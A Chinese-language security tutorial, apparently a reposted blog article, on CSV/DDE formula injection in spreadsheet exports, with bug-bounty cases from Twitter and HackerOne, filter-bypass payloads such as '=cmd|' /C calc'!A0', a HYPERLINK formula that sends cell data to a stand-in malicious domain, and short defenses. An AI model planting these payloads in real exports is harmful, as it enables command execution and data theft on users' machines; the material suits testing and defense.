• DDE注入(CSV)漏洞原理及实战案例全汇总


    在渗透中遇到导出功能时,会如何进行测试?任意文件下载?或者越权查看?很多人很容易忽略的是DDE注入:导出格式为csv,xls时,或许你可以尝试构造这个漏洞,它不会对网站本身产生危害,但会对终端用户造成任意OS命令执行等危害。


    1、漏洞原理:

    1)Excel解析机制

    第一个需要知道的知识点是,在Excel任何以'='字符开头的单元格都将被电子表格软件解释为公式,如果我们在其中输入“=2+5”,则表格会显示为:

    实际上,除了=号,以下符号都可用于在Microsoft Excel中触发公式解释:

    • 等于(“=”)
    • 加(“+”)
    • 减号(“ - ”)
    • 在 (”@”)

    这个可以帮助我们在等号=被过滤时,使用其他运算符绕过。

    2)DDE注入

    动态数据交换(DDE),全称DynamicData Exchange,是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。比如我们构造包含如下字符串的csv或xls文件:

    =cmd | '/ C calc' !A0

    Excel会尝试调用本机CMD命令,给出友好提示,若用户在无意识状态下点击“是”:

    而后尝试接受更正拼写错误,不接受更正则会执行cmd命令,弹出计算器:

    所以攻击的路线就很清晰了:

    业务系统接受用户输入并导出为csv——>恶意用户通过界面输入payload——>受害者下载文件并在PC运行——>受害者PC被攻击。因此DDE注入攻击是一种攻击源来自网站,但最终目标是普通用户PC的一种攻击。

    2、漏洞危害:

    1)OS命令执行

    OS任意命令执行是最主要的危害,像上面讲过的,可以使用= cmd | '/ C calc' !A0弹计算器或者使用=cmd|'/k ipconfig'!A0弹出ipconfig命令的方式探测漏洞是否存在。类比XSS的利用思路,如果系统可以实现alert(1)弹框效果,说明我们可以执行任意的js代码,这取决于我们的利用思路。比如:

    • 添加用户;
    • 开启任意应用程序:IE;
    • 操作注册表;
    • 反弹shell;

    2)信息泄露

    超链接功能 Hyperlink创建快捷方式并进行跳转,单击包含HYPERLINK函数的单元格时,Microsoft Excel将打开存储在link_location的文件,如:

    可将表格其中一个单元格设置为以下形式:

    =HYPERLINK(“https://maliciousDomain.com/evil.html?data=”&A1,“Click to view additional information”)”

    将创建一个单元格,显示文本“单击以查看其他信息”,当用户单击,将发送A1中的数据到maliciousDomain.com,从而导致信息泄露。当然使用第一种攻击方式也可以实现这种攻击效果,如:

    =6-5 cmd|’ /C “C:Program FilesInternetExploreriexplore.exe” http://<attackers site>/asd.html’!A0

    它将用户定向到恶意钓鱼网站,实现窃取哈希值和口令等操作。

    3、实战案例

    1)Twitter导出数据处DDE

    Twitter用户发帖,输入:

    界面导出数据处,导出csv文件并在Excel中查看:

    若输入payload:=cmd|' /Ccalc'!A0再次执行,弹出计算器:

    2)Hackerone报告导出

    这是对于Hackerone过滤的一个绕过,网站后台对于等号=之前新增单引号‘以防止公式执行。但在报告导出功能处参数title输入:

    %0A-2+3+cmd|' /C calc'!D2:

    %0A被解析为换行符,使得payload正常执行:

    3)Hackerone过滤绕过

    这是对后台过滤的第二次绕过,在等号前加一个分号;可绕过:

    ;=cmd|' /C calc'!A0

    Excel识别并解析分隔符;,将数据拆分并执行:

    4、挖掘思路:

    此漏洞特征较明显,因此思路简单:

    1、关注系统中是否有导出为csv或xls表格的功能,一般存在于信息统计,日志导出等功能处;

    2、确定导出的内容是否用户可控:

    1)可能在界面可直接进行编辑/新增;

    2)通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入;

    3、输入处写入测试脚本=2*10,导出后查看表格内容是否解析,输入:

    导出后查看,成功解析:

    4、存在过滤,尝试绕过,最后进行OS执行等深入利用。

    5、绕过技巧:

    根据案例和挖掘经验,总结常用的绕过payload有:

    1、-3+2+cmd |’ /C calc’ !A0

    在等于号被过滤时,可以通过运算符+-的方式绕过;

    2、%0A-3+3+cmd|' /C calc'!D2

    参数处输入此payload,%0A被解析,从而后面的数据跳转到下一行;

    3、;-3+3+cmd|' /C calc'!D2

    导出文件为csv时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行,本机测试:

    4、@SUM(cmd|'/c calc'!A0)

    5、=HYPERLINK("https://evil.com")

    6、防御手段

    1)一般的防御手段为,在生成电子表格时,以任何危险符号开头的字段应该以单引号、撇号(')字符或空格作为前缀,确保单元格不被解释为公式,但存在可能被绕过的风险。

    2)更好的防御手段为,根据业务需求控制用户输入为字母数字字符;或黑名单过滤=或-号开头的单元格数据,过滤=(-)cmd或=(-)HYPERLINK或concat等。

  • 相关阅读:
    [转]VMware-Transport(VMDB) error -44:Message.The VMware Authorization Service is not running解决方案
    [转]DNS服务器原理详解与Centos6.x下搭建DNS服务器
    [转]美国最大婚恋交友网站eHarmony的机器学习实践
    [转]Algolia的分布式搜索网络架构
    预测建模、监督机器学习和模式分类概览
    Java正则表达式
    Ajax入门
    JSON入门
    JSTL与EL表达式
    Servlet与JSP进阶
  • 原文地址:https://www.cnblogs.com/nul1/p/12934636.html
Copyright © 2020-2023  润新知